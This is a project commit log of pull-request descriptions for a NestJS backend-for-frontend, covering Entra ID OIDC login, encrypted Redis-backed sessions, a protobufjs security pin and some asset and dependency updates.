**`req.session.save()` is awaited before the redirect.** Express-session writes to its store on response end; emitting the 302 closes the response before `connect-redis` finishes the write, so without an explicit await the browser can race the SPA into requesting `/me` against a missing key. Awaiting `save()` is the documented fix.

**Logout via `GET`.** Matches `/login` (also `GET`) and keeps the UX a plain anchor / top-level navigation. The CSRF surface is mitigated by `SameSite=Lax` on the session cookie — cross-site subresource requests (`<img src>`, `fetch`) don't carry it. A dedicated CSRF middleware lands with phase-2 security; if we want POST-only logout earlier, easy follow-up.

**`/me` strips `amr`.** The session payload mirrors `AuthenticatedUser` (used internally by the future `@RequireMfa()` guard, ADR-0011), but the SPA only ever needs the curated subset. Mapping happens in the controller — no leak by default.

**Logout URL skips `id_token_hint`.** ADR-0009 mentions it for single-account logout UX, but v1 doesn't persist the `id_token` in the session yet (the encrypted `tokens` blob lands with downstream API support per ADR-0014). Without `id_token_hint`, Entra shows an account picker — the conservative default until token persistence ships.

**Cookie name in logout.** Uses `sessionCookieName()` from `session/session-cookie.ts` so logout clears the same cookie the middleware sets — `__Host-portal_session` in prod, `portal_session` in dev.

## Out of scope (next PRs)

- Absolute-timeout interceptor (12 h hard ceiling, ADR-0010).
- `user_sessions:{userId}` secondary index for admin "logout everywhere".
- Persisting the `id_token` / `access_token` / `refresh_token` blob in the encrypted session (ADR-0014 dependency).
- CSRF middleware (phase-2 security).
- Renaming `ENTRA_POST_LOGOUT_REDIRECT_URI` if we want a distinct post-login redirect target — for now both flows land on the same SPA URL.

## Test plan

- [x] `pnpm nx test portal-bff` → **110/110 pass** (was 99 before this PR; +11 specs across `auth.controller.spec.ts` and `auth.service.spec.ts`).
- [x] `pnpm nx lint portal-bff` → clean.
- [x] `pnpm nx build portal-bff` → webpack compiled successfully.
- [x] Prettier-clean on all touched files.
- [ ] Manual end-to-end smoke test:
  - [ ] `/api/auth/login` → Entra → back at `/api/auth/callback` → session cookie set, redirect to SPA.
  - [ ] `/api/auth/me` → 200 JSON when authenticated, 401 when anonymous.
  - [ ] `/api/auth/logout` → Redis key gone, cookie cleared, lands at SPA via Entra logout.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #112
2026-05-12 19:46:38 +02:00
julien 2e9605a078 chore(deps): pin protobufjs to >=8.0.2 to clear 7 transitive advisories (#111)
CI / scan (push) Successful in 1m54s
CI / commits (push) Has been skipped
CI / check (push) Successful in 2m52s
CI / a11y (push) Successful in 1m1s
CI / perf (push) Successful in 2m50s
## Summary

`protobufjs 8.0.0` / `8.0.1` ship 7 fresh advisories (4 high, 3 moderate) pulled in transitively as `@opentelemetry/exporter-trace-otlp-http → @opentelemetry/otlp-transformer → protobufjs`. `pnpm audit --audit-level=moderate` flags them, which blocks the `ci:audit` gate on every push.

Pins the package directly via `pnpm.overrides` — same shape we already use for `axios`, `brace-expansion`, `follow-redirects`, `ip-address`, `tmp`, `yaml`. Resolution lands on `protobufjs@8.2.0` (latest stable). The override is `protobufjs@<8.0.2: ">=8.0.2"` so it auto-yields the moment a non-vulnerable transitive lands and the override becomes a no-op — no need to remember to remove it.

## Advisories cleared

| ID                  | Severity | Issue                                                 |
| ------------------- | -------- | ----------------------------------------------------- |
| GHSA-66ff-xgx4-vchm | high     | code generation gadget                                |
| GHSA-75px-5xx7-5xc7 | high     | code generation gadget after prototype pollution      |
| GHSA-jvwf-75h9-cwgg | high     | process-wide DoS through unsafe option paths          |
| GHSA-685m-2w69-288q | high     | DoS through unbounded protobuf recursion              |
| GHSA-q6x5-8v7m-xcrf | moderate | overlong UTF-8 decoding                               |
| GHSA-2pr8-phx7-x9h3 | moderate | DoS from crafted field names in generated code        |
| GHSA-fx83-v9x8-x52w | moderate | prototype injection in generated message constructors |

## Test plan

- [x] `pnpm audit --audit-level=moderate` → **No known vulnerabilities found**
- [x] `pnpm nx test portal-bff` → 99/99 pass
- [x] `pnpm nx build portal-bff` → webpack compiled successfully
- [x] `pnpm install` resolves `protobufjs@8.2.0` (verified in lockfile)

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #111
2026-05-12 19:16:18 +02:00
julien 758d723744 feat(portal-bff): session middleware with AES-256-GCM at rest per ADR-0010 (#110)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m25s
CI / check (push) Successful in 3m48s
CI / a11y (push) Successful in 1m27s
CI / perf (push) Successful in 4m28s
## Summary

Mounts `express-session` + `connect-redis` at bootstrap on top of the shared `ioredis` client, with **AES-256-GCM applied to the full JSON payload before it lands in Redis** (per ADR-0010). The configured middleware is exposed as a NestJS provider (`SESSION_MIDDLEWARE`) and `main.ts` mounts it through `app.get(...)` so it sits on the same Redis connection the rest of the BFF uses — no second client at the bootstrap layer.

Envelope is versioned (`v1.<iv>.<tag>.<ciphertext>`, all base64url) so the algorithm / key derivation can rotate without a flag-day re-encryption. Tamper / wrong-key / unknown-version all raise `SessionDecryptError`; for now the failure is logged via Pino with `event: session.decrypt_failed` — the first-class audit event lands with ADR-0013.

Scope is intentionally **infrastructure only**:
- middleware mounted on every request, `req.session` available downstream
- session id = `crypto.randomBytes(32).toString('base64url')` (256 bits per ADR-0010)
- cookie name: `__Host-portal_session` in production, `portal_session` in dev (the `__Host-` prefix mandates `Secure`, which dev HTTP can't satisfy)
- `httpOnly + sameSite=lax + path=/`; `resave:false`, `saveUninitialized:false`, `rolling:true`
- cookie `maxAge` follows `SESSION_IDLE_TIMEOUT_SECONDS` (default 1800)
- encryption-at-rest active end-to-end

Out of scope, landing in follow-ups: `/auth/callback` populating `req.session.user`, `/me`, `/auth/logout`, the absolute-timeout interceptor, and the `user_sessions:{userId}` secondary index.

## Notable shape choices (ADR-0010 amended in the same commit)

**Full-payload encryption vs. just the `tokens` field.** The first draft of ADR-0010 scoped at-rest encryption to a `tokens` sub-field. The session also carries claims (`oid`, `tid`, `preferred_username`, …) that qualify as PII under GDPR — for an APF-Handicap portal handling health-adjacent data this matters. Encrypting the envelope is strictly stronger and removes the need to classify fields one by one. The ADR text is updated to match.

**`ioredis` + adapter vs. switching the BFF to `node-redis`.** `connect-redis` v9 was rewritten for `node-redis` v4 and no longer accepts `ioredis` directly. Two reasonable paths:
1. **Adapter (chosen)** — keep the shared `ioredis` client; shim the six commands `connect-redis` actually calls (`get`, `set` with `{expiration:{type:'EX',value}}`, `expire`, `del`, `mGet`, `scanIterator`) to the node-redis shape. Smallest blast radius — RedisModule, OBO cache (ADR-0014), future pub/sub all stay on a single Redis library.
2. **Switch RedisModule to `node-redis`** — clean alignment with `connect-redis`'s expectations, but touches every Redis consumer and would itself require an ADR amendment.

The adapter is reversible: if we ever decide to standardise on `node-redis`, deleting one file removes it. Happy to switch if you'd rather take that path.

## Env vars

- `SESSION_ENCRYPTION_KEY` — **mandatory**, AES-256-GCM key (32 bytes after base64url decode). New `assertSessionEncryptionKey()` validator wired in `main.ts` alongside the other pre-flight checks.
- `SESSION_IDLE_TIMEOUT_SECONDS` — optional, default `1800`.
- `SESSION_ABSOLUTE_TIMEOUT_SECONDS` — optional, default `43200` (consumed by the absolute-timeout interceptor in a follow-up).

`.env.example` updated; the three variables are promoted from the "future vars" block to the active section.

## Test plan

- [x] `pnpm nx test portal-bff` — **99/99 pass** (was 62 before this PR; +37 new specs across the 5 new files).
- [x] `pnpm nx build portal-bff` — clean webpack build.
- [x] `pnpm nx lint portal-bff` — clean.
- [x] Prettier-clean for all PR source files.
- [ ] Local smoke test once the next PR wires `/auth/callback` → `req.session.user`; this PR has no user-visible behaviour to exercise on its own.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #110
2026-05-12 18:06:13 +02:00
julien d4b5ed1c5d feat(portal-bff): redis client foundation per ADR-0010 (#109)
CI / scan (push) Successful in 2m35s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m29s
CI / a11y (push) Successful in 1m43s
CI / perf (push) Successful in 3m38s
## Summary

First step toward Redis-backed sessions (ADR-0010). Adds the shared `ioredis` connection that every downstream consumer (session storage, OBO token cache, …) injects via the new `REDIS_CLIENT` DI token. No session logic in this PR — that's the next one.

## What lands

- **`ioredis@^5.10.1`** as a direct dependency. Chosen by ADR-0010 for its mature Sentinel support — single-instance URL today, Sentinel-HA configuration lands with the prod infrastructure ADR.
- **[`.env.example`](apps/portal-bff/.env.example)** promotes `REDIS_URL` from its future-vars comment to an active variable, defaulting to the local Compose stack's address. The Sentinel-style keys (`REDIS_SENTINEL_HOSTS`, `REDIS_SENTINEL_NAME`, `REDIS_TLS`) stay in the future-vars comment until the prod deploy.
- **[`check-redis-config.ts`](apps/portal-bff/src/config/check-redis-config.ts)** — boot-time guard mirroring the existing four:
  - Refuses to start on missing / non-`redis(s)://` / passwordless / placeholder URLs.
  - Returns a typed `RedisConfig` with parsed `host` + `port` for downstream observability.
- **[`redis.token.ts`](apps/portal-bff/src/redis/redis.token.ts)** — `REDIS_CLIENT` string token + `Redis` type alias. Same shape as the existing `ENTRA_CONFIG` / `MSAL_CLIENT`.
- **[`redis.module.ts`](apps/portal-bff/src/redis/redis.module.ts)** — `RedisModule` factory provider:
  - Caps `maxRetriesPerRequest: 3` so an unreachable Redis surfaces a clear command-time error rather than an infinite reconnect storm.
  - Wires `connect` / `ready` / `error` / `close` / `reconnecting` events into the Pino stream under the `redis` context — easy log isolation.
  - Non-global; consumers import the module to state "I depend on Redis".
- **`main.ts`** calls `assertRedisConfig()` alongside the other three validators; **`AppModule`** imports `RedisModule`.

## Decisions worth flagging

- **`maxRetriesPerRequest: 3`** rather than the ioredis default of 20. With the default, a Redis outage masquerades as request-level timeouts spread over minutes. Capping low surfaces the outage in the first command failure — the BFF can then return 503 and recover quickly when Redis comes back.
- **Single shared client.** Pub/sub use-cases (when they appear) duplicate via `redis.duplicate()` per ioredis convention. Connect/disconnect is one socket per BFF instance.
- **No explicit shutdown hook yet.** Node's process-exit handlers and ioredis's own cleanup take care of the socket on SIGTERM / Ctrl+C. If we see stuck connections in real load, we wire `OnApplicationShutdown` + `redis.quit()`.
- **Sentinel-style config stays in the future-vars comment.** ioredis supports it natively, but plumbing it on top of the URL form complicates the validator and the factory for zero v1 payoff. Lands with the prod infrastructure ADR.

## Verification

- `nx run-many -t lint test build --projects=portal-bff` — green.
- **62 / 62 specs** (was 52; +10 — `check-redis-config` covers happy path + 6 failure modes; `redis.module` covers DI resolution against an unreachable URL plus the missing-env failure).
- Boot smoke against the local Compose stack: Pino's `redis` context shows `redis.connect` → `redis.ready` on startup; killing the Redis container produces `redis.close` / `redis.reconnecting` lines.

## What this PR explicitly does NOT do

- Mount `express-session` + `connect-redis` middleware. The next PR wires the session cookie (`__Host-portal_session`), the encrypted payload, and the lookup middleware that attaches `user` to every request.
- Plug the callback into session creation. Auth still ends with a Pino log + redirect; the SPA still sees the user anonymous on the next request.
- Sentinel / TLS configuration. Future-var keys are documented in `.env.example` for when the prod deploy lands.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #109
2026-05-12 16:48:20 +02:00
julien bfa35d3283 fix(portal-bff): drop strict amr check — flow blocked when Entra omits the claim (#108)
CI / commits (push) Has been skipped
CI / check (push) Successful in 1m39s
CI / scan (push) Successful in 1m45s
CI / a11y (push) Successful in 1m21s
CI / perf (push) Successful in 2m45s
## Bug

After a real sign-in against the Entra tenant, the callback rejected the flow with:

```
{"context":"AuthCallback","event":"auth.flow_error","failure":{"kind":"amr-missing"}}
```

The user landed on the SPA with `?auth_error=amr-missing` instead of authenticated. Every dev sign-in is blocked.

## Root cause

PR #107's `amr-missing` guard misread ADR-0011's intent. `amr` is an **optional** claim in Entra ID tokens: it's populated for fresh interactive sign-ins where Conditional Access asked for an MFA method, and frequently absent for SSO / refresh flows or in tenants where no CA policy is configured on the app registration. Rejecting tokens on empty `amr` blocks every legitimate sign-in against such a tenant.

ADR-0011 actually specifies:
- **Conditional Access** (org-side) is the enforcement layer for "MFA happened".
- The **`@RequireMfa({ freshness: 600 })`** decorator (designed-in, no v1 consumer) is what guards sensitive routes.
- The BFF surfaces `amr` through the audit log and the future guard, not as a callback precondition.

## Fix

- **[`auth.errors.ts`](apps/portal-bff/src/auth/auth.errors.ts)**: drop the `amr-missing` variant from the `AuthCodeFlowError` discriminator. Three failure modes left: `state-mismatch`, `flow-expired`, `token-exchange-failed`. MSAL's ID-token validation (signature, issuer, audience, exp, nbf) is the real gate at this stage.
- **[`auth.service.ts`](apps/portal-bff/src/auth/auth.service.ts)**: `toAuthenticatedUser` keeps extracting `amr` and passing it through (as a possibly-empty string array) so the structured log line and the future `@RequireMfa` guard still see it. The strict `if (amr.length === 0) throw` is replaced by a comment explaining the new shape.
- **[`auth.service.spec.ts`](apps/portal-bff/src/auth/auth.service.spec.ts)**: the `'throws amr-missing'` test becomes `'returns the user even when the ID token has no amr claim'` — asserts the array passes through empty rather than blocking the flow.

## Verification

- `nx run-many -t lint test build --projects=portal-bff` — green. **52/52 specs**.
- Manual smoke: end-to-end sign-in against the live tenant now lands cleanly on the SPA; Pino's `auth.signed_in` log shows the resolved identity with `amr` (often `[]` until CA is configured on the org side).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #108
2026-05-12 15:31:57 +02:00
julien c50794eceb feat(portal-bff): /auth/callback route — token exchange + amr check (#107)
CI / check (push) Successful in 2m32s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m19s
CI / a11y (push) Successful in 1m6s
CI / perf (push) Successful in 3m51s
## Summary

Fourth step of ADR-0009 wiring. Closes the OIDC round-trip on the BFF side (modulo session persistence — that's the next PR per ADR-0010). Entra now redirects the user back to `GET /api/auth/callback`; the BFF verifies the state, exchanges the code for tokens via MSAL's `acquireTokenByCode`, runs the ADR-0011 `amr` sanity-check, logs the resolved identity to Pino, clears the single-use pre-auth cookie, and 302s the user back to the SPA.

## What lands

- **[`auth.errors.ts`](apps/portal-bff/src/auth/auth.errors.ts)** — discriminated-union `AuthCodeFlowError` (`state-mismatch` / `flow-expired` / `amr-missing` / `token-exchange-failed`) + `AuthCodeFlowException` wrapper. The `kind` field doubles as the `?auth_error=<code>` query param on the SPA-bound redirect so the front-end can render an exact message without duplicating the string set.
- **[`AuthService.completeAuthCodeFlow(code, state, preAuth, now?)`](apps/portal-bff/src/auth/auth.service.ts)** — verifies state binding, refuses cookies older than the 5-minute flow TTL, calls MSAL Node's `acquireTokenByCode` with the stored verifier, validates `amr` is non-empty (the BFF sanity-check per ADR-0011 — Entra Conditional Access on the org side does the real enforcement), extracts `oid` / `tid` / `preferred_username` / `name` / `amr` into an `AuthenticatedUser` shape.
- **[`auth.cookie.ts`](apps/portal-bff/src/auth/auth.cookie.ts)** gains `clearPreAuthCookieOptions()` mirroring the set-options minus `maxAge` so the browser actually drops the cookie. (Cookies match by name + path + secure; getting any of those wrong leaves the old cookie in place.)
- **[`AuthController.callback()`](apps/portal-bff/src/auth/auth.controller.ts)** — `@Get('callback')`. Always clears the cookie first (single-use). Bails on Entra-side errors (`?error=`), missing query params, missing or malformed cookie — each branch logs a structured Pino warning and redirects with the right `auth_error` code. On `AuthCodeFlowException`, logs + redirects with the typed `kind`. On success, logs an `auth.signed_in` event with `oid`, `tid`, `username`, `amr` (PII-sensitive bits only; no tokens), then 302s to `entra.postLogoutRedirectUri`.

## Decisions worth flagging

- **`postLogoutRedirectUri` reused as the SPA root URL.** Semantically a tiny stretch (its OIDC role is the post-logout destination) but the value is the same. Avoids one more env var until / unless the two URLs need to diverge.
- **Cookie cleared FIRST**, before any branching. Single-use is a property we want guaranteed regardless of which path exits the handler — overlap with a parallel /login from the same browser session would otherwise leak a usable cookie.
- **`auth.signed_in` logged via Pino, not via the audit module.** ADR-0013 wants this in the audit table; pairing audit with the session that ships in the next PR keeps the audit row carrying a `session_id` (otherwise it'd reference a "phantom" auth event with no follow-up).
- **`amr` non-empty is the BFF's check; the Conditional Access policy is what enforces "MFA happened".** ADR-0011 explicitly factors it this way — empty `amr` would indicate a policy misconfiguration where MFA never fired.

## Verification

- `nx run-many -t lint test build --projects=portal-bff` — green.
- **52 / 52 specs** (was 39; +13 across the new completeFlow branches and callback branches).
- Service spec covers happy path + 6 failure modes (state mismatch, flow expired, amr missing, MSAL throws, MSAL returns null, oid claim missing).
- Controller spec covers happy redirect, Entra error, missing cookie, AuthCodeFlowException branch, missing query, malformed cookie.

## Manual smoke test (end-to-end)

1. `apps/portal-bff/.env` carries real `ENTRA_*` + `SESSION_SECRET`.
2. `nx serve portal-bff` and `nx serve portal-shell`.
3. Open `http://localhost:3000/api/auth/login` → redirects to Entra.
4. Authenticate. Entra redirects to `http://localhost:3000/api/auth/callback?code=…&state=…`.
5. BFF processes; redirects to `http://localhost:4200/`. Pino log shows `auth.signed_in` with the user's `oid`, `tid`, `username`, `amr`.
6. Tamper test: open the link again, hand-edit the `state=` in the callback URL → BFF redirects with `?auth_error=state-mismatch`.

## What this PR explicitly does NOT do

- **Persist a session.** The user is "authenticated" from the BFF's point of view (identity resolved + logged) but the next request lands anonymous. Closes in the Redis sessions PR per ADR-0010.
- **Audit log entry.** Pairs with sessions so the row carries a `session_id`.
- **Logout / `/me`.** Land after sessions.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #107
2026-05-12 12:16:39 +02:00
julien 9443a52bb7 chore(brand): swap header logo to a real svg + ship favicons for portal-admin (#106)
CI / check (push) Successful in 5m23s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m42s
CI / a11y (push) Successful in 3m21s
CI / perf (push) Successful in 6m22s
## Summary

Two related brand-asset cleanups, bundled per request:

### portal-shell — header logo
- Replace [`apf-small.png`](apps/portal-shell/public/logos/) (a 7.6 KB raster we'd extracted from the original PNG-in-SVG and re-encoded through sharp) with [`apf-logo.svg`](apps/portal-shell/public/logos/apf-logo.svg) — an actual 1024×1024 vector export (2.1 KB). Sharper at any density, smaller payload, no rasterisation artefacts when zoomed.
- [`header.html`](apps/portal-shell/src/app/components/header/header.html) swaps `<img src=…>` accordingly.
- The wide-format `apf-portal.svg` stays in place for future surfaces (login splash, etc.).

### portal-admin — favicons + PWA manifest
Mirrors what PR #84 did for `portal-shell`:
- Copy the six favicon images (`favicon.ico`, `favicon.svg`, `favicon-96x96.png`, `apple-touch-icon.png`, `web-app-manifest-{192,512}.png`) into [`apps/portal-admin/public/favicons/`](apps/portal-admin/public/favicons/). Single visual identity across the two apps.
- Customise [`site.webmanifest`](apps/portal-admin/public/favicons/site.webmanifest) for admin: `name: "APF Portal Admin"`, `short_name: "Admin"`. Everything else (icons, theme-color, display) stays identical to portal-shell's manifest.
- Wire the `<link>` block + `<meta name="theme-color">` in [`apps/portal-admin/src/index.html`](apps/portal-admin/src/index.html).
- Remove the obsolete top-level `apps/portal-admin/public/favicon.ico` — now under `favicons/`, served via `<link rel="shortcut icon">`.

## Decision worth flagging

**Assets duplicated rather than shared via a lib.** Both apps ship their own copy of the 7 favicon files (~120 KB binary each). The alternative — a `shared-assets` (or extended `shared-tokens`) lib with the assets glob copied into each app's `dist/` at build time — is the architecturally tidier path, but introduces a build-config change with no real payoff at our scale. Revisit if a third surface (e.g., a future static landing page) ends up needing the same set.

## Verification

- `nx run-many -t lint test build --projects=portal-shell,portal-admin` — green.
- Both `dist/apps/{portal-shell,portal-admin}/browser/{en,fr}/favicons/` ship the seven expected files.
- Admin's emitted `site.webmanifest` carries `"name": "APF Portal Admin"`.
- Admin's emitted `index.html` carries the full `<link>` block + `theme-color` meta.
- Portal-shell ships `apf-logo.svg` in its `logos/` folder per locale; `apf-small.png` is gone.

## Test plan

- [x] Lint + test + build green.
- [x] Built outputs spot-checked (assets ship, manifest text correct, index.html wired).
- [ ] Manual: `nx serve portal-shell` → header shows the new SVG logo crisp at 1x / 2x / 3x DPR.
- [ ] Manual: `nx serve portal-admin` → tab favicon visible, dev tools → Application → Manifest shows "APF Portal Admin" with no errors.
- [ ] Manual: install portal-admin as a PWA from a Chromium browser → the install dialog reads "Install APF Portal Admin", home-screen icon uses the same family as portal-shell.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #106
2026-05-12 11:59:04 +02:00
julien 0eb404d111 feat(portal-bff): /auth/login route — pkce flow start + signed cookie (#105)
CI / scan (push) Successful in 2m27s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m29s
CI / a11y (push) Successful in 1m58s
CI / perf (push) Successful in 4m3s
## Summary

Third step of ADR-0009 wiring. Adds the first OIDC route, `GET /api/auth/login`: it 302s the browser to Entra's authorize endpoint with a freshly-generated state + PKCE challenge, and stashes the matching `{state, codeVerifier}` payload in a short-lived signed cookie so the next-PR callback can verify the round-trip.

## What lands

- **Cookie infra**: `cookie-parser` + `@types/express` deps; `main.ts` mounts the cookie middleware with the `SESSION_SECRET` signing key. Signed cookies are now available via `req.signedCookies` for the upcoming callback.
- **[`.env.example`](apps/portal-bff/.env.example)** promotes `SESSION_SECRET` from a future-vars comment into an active section, with a one-liner showing how to generate 32 random bytes.
- **[`check-session-secret.ts`](apps/portal-bff/src/config/check-session-secret.ts)** — boot-time guard: refuses to start if `SESSION_SECRET` is unset, still the .env.example placeholder, or decodes below 32 bytes of entropy. Same family as `check-database-url` / `check-entra-config`.
- **[`auth.service.ts`](apps/portal-bff/src/auth/auth.service.ts)** — `beginAuthCodeFlow()` uses MSAL's `CryptoProvider` for canonical PKCE verifier / challenge generation and a fresh GUID state per call, calls `msal.getAuthCodeUrl()` with the configured redirect URI + OIDC scopes (`openid profile email` — no `offline_access` in v1), and returns `{ authUrl, preAuthPayload }`.
- **[`auth.cookie.ts`](apps/portal-bff/src/auth/auth.cookie.ts)** — `portal_pre_auth` name, 5-minute TTL, shared `CookieOptions`: `signed`, `httpOnly`, `sameSite: 'lax'` (lets Entra's cross-site top-level redirect back through), `secure` toggled by `NODE_ENV`.
- **[`auth.controller.ts`](apps/portal-bff/src/auth/auth.controller.ts)** — `@Controller('auth') @Get('login')`: writes the cookie then 302s. Thin shell around the service.
- **AuthModule** registers the new controller + service alongside the existing `ENTRA_CONFIG` and `MSAL_CLIENT` providers.

## Decisions worth flagging

- **Scope deliberately stops before the callback.** It's the next PR. Clicking `/auth/login` today round-trips through Entra and lands on a 404 — bounded mid-state, documented in the commit and here.
- **State + verifier in the cookie, not in Redis.** Keeps `/login` stateless (no server-side store), which means the BFF stays horizontally scalable from day one without sticky-session config. The next-PR callback reads `req.signedCookies` to recover the payload.
- **`portal_pre_auth`, not `__Host-portal_pre_auth`.** `__Host-` mandates `Secure`, and local dev is HTTP. The prefix + `Secure: true` lands together with the production TLS hardening ADR.
- **No `offline_access` scope.** Sessions are short-lived (per ADR-0010); the user re-authenticates through Entra rather than the BFF refreshing tokens behind their back. Smaller token footprint, less code to write, easier to reason about.
- **5-minute cookie TTL.** Enough for the Entra round-trip (including a fresh MFA prompt), short enough that a stale cookie can't be replayed long after the user abandoned the flow.

## Verification

- `nx run-many -t lint test build --projects=portal-bff` — green.
- **39 / 39 specs** (was 30; +9 across `check-session-secret`, `auth.service`, `auth.controller`).
- The service spec mocks `getAuthCodeUrl`, asserts the redirect URI / scopes / S256 method, the state-verifier identity between the cookie payload and what's sent to Entra, and fresh-per-call replay protection.
- The controller spec asserts the cookie name + options + serialized payload and the 302 redirect.

## Manual smoke test (next PR completes the loop)

1. `apps/portal-bff/.env` has real `ENTRA_*` + `SESSION_SECRET`.
2. `nx serve portal-bff`.
3. `curl -i http://localhost:3000/api/auth/login` → 302 with `Set-Cookie: portal_pre_auth=…; HttpOnly; SameSite=Lax; Path=/`, `Location: https://login.microsoftonline.com/<tenant>/oauth2/v2.0/authorize?...`.
4. Open the `Location` in a browser, authenticate, Entra redirects to `http://localhost:3000/api/auth/callback?code=…&state=…` → 404 today, will be the next PR.

## Next PR on the auth track

`GET /api/auth/callback` — reads the signed cookie, verifies `state` matches, calls `acquireTokenByCode` with the stored verifier, validates the ID token (issuer, audience, exp, nonce, `amr` per ADR-0011), clears the pre-auth cookie, logs the resolved user identity, redirects to `/` (SPA). Still no session — that's the PR after.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #105
2026-05-12 11:20:03 +02:00
julien b7093d61de feat(portal-bff): msal confidential client provider in AuthModule (#104)
CI / check (push) Successful in 3m21s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m43s
CI / a11y (push) Successful in 1m56s
CI / perf (push) Successful in 3m34s
Second step of ADR-0009 wiring. AuthModule now exposes the
`@azure/msal-node` confidential client alongside the parsed Entra
config — the building block the upcoming OIDC routes inject to issue
the auth-code URL, exchange the callback code for tokens, and
acquire downstream tokens on behalf of the user.

What lands:

- `@azure/msal-node` added as a direct dependency (^5.2.1).
- `apps/portal-bff/src/auth/msal-client.token.ts` — `MSAL_CLIENT`
  string token + `ConfidentialClientApplication` type re-export.
  Mirrors the `ENTRA_CONFIG` token shape from PR #102.
- AuthModule grows a factory provider for `MSAL_CLIENT`:
  - Injects `ENTRA_CONFIG` + nestjs-pino `Logger`.
  - Builds a `ConfidentialClientApplication` with `clientId`,
    `authority`, `clientSecret` from the parsed config.
  - Wires `system.loggerOptions.loggerCallback` to forward MSAL's
    internal log lines into the Pino stream (per ADR-0012) — Error
    → logger.error, Warning → logger.warn, Verbose / Trace →
    logger.debug, Info → logger.log. PII logging is disabled by
    default so tokens / user identifiers never leak into our
    structured log records.
  - Sets MSAL's `logLevel` to Info — Pino's own threshold
    re-filters from there.
  - All MSAL log lines carry the `msal` Pino context for easy
    isolation in log queries.
- `AuthModule.exports` extended to include `MSAL_CLIENT`.

Verification:

- `nx run-many -t lint test build --projects=portal-bff` — green.
- 30/30 specs (was 29; +1 covering MSAL client construction).
- New spec imports `nestjs-pino`'s `LoggerModule.forRoot({ pinoHttp:
  { level: 'silent' } })` to provide the same Logger the production
  app supplies via `ObservabilityModule`, without flooding test
  stdout. Two tests assert the provider tree resolves correctly
  (ENTRA_CONFIG + MSAL_CLIENT) and one re-checks the missing-env
  failure mode still propagates through the new factory.

Construction is cheap — MSAL Node defers authority discovery to the
first auth call — so the client is built eagerly at module init.
The factory is injection-only; no MSAL methods get invoked yet.
Routes land in the next PR.

<!--
PR title format — becomes the squash-merge subject on main, validated by commitlint.

  <type>(<scope>): <short description>

Examples:
  feat(portal-shell): add user-preferences panel skeleton
  fix(portal-bff): correct env var bracket access
  docs(decisions): add ADR-0018 for security baseline
  chore(deps): bump @nx/* to 22.7.2

Imperative mood, lowercase, no trailing period, target ≤ 70 chars.
See docs/development.md §5 for the full convention (types, scopes).
-->

## Summary

## Motivation

## Implementation notes

## Verification

- [ ] `pnpm ci:check` green locally
- [ ] `pnpm ci:audit` green (or pre-existing drift acknowledged)
- [ ] Tested manually:
- [ ] Architecture diagram updated (if `docs/architecture.md` was affected)
- [ ] ADR amended or added (if a decision changed)

## Related

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #104
2026-05-12 10:34:23 +02:00
APF Portal Bot abd651b697 chore(deps): update dependency @types/node to v24.12.4 (#103)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m37s
CI / check (push) Successful in 4m17s
CI / a11y (push) Successful in 1m43s
CI / perf (push) Successful in 5m32s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | devDependencies | patch | [`24.12.3` -> `24.12.4`](https://renovatebot.com/diffs/npm/@types%2fnode/24.12.3/24.12.4) |

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #103
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-12 09:41:08 +02:00
julien 58e3b65bd9 feat(portal-bff): entra config foundation — boot validator + auth module (#102)
CI / check (push) Successful in 2m15s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m1s
CI / a11y (push) Successful in 1m15s
CI / perf (push) Successful in 3m47s
## Summary

First step of ADR-0009 wiring on the BFF: capture the Entra app-registration env vars in the boot pipeline so subsequent PRs can plug `@azure/msal-node` onto a typed, already-validated config without re-reading `process.env`. **No MSAL client, no OIDC routes, no session integration yet** — those land in follow-up PRs.

## What lands

- **[`.env.example`](apps/portal-bff/.env.example)** promotes the Entra block from its previous "future-vars" comment stub to an active section. Six keys:
  - `ENTRA_INSTANCE_URL` — the Microsoft login endpoint (e.g. `https://login.microsoftonline.com/`).
  - `ENTRA_TENANT_ID`, `ENTRA_CLIENT_ID`, `ENTRA_CLIENT_SECRET` — the values from the Entra app-registration UI.
  - `ENTRA_REDIRECT_URI`, `ENTRA_POST_LOGOUT_REDIRECT_URI` — consumed by the OIDC routes in a follow-up PR.

  Multi-tenant `ENTRA_ACCEPTED_TENANT_IDS` stays in the future-vars comment until External ID activation (ADR-0008 phase 2).

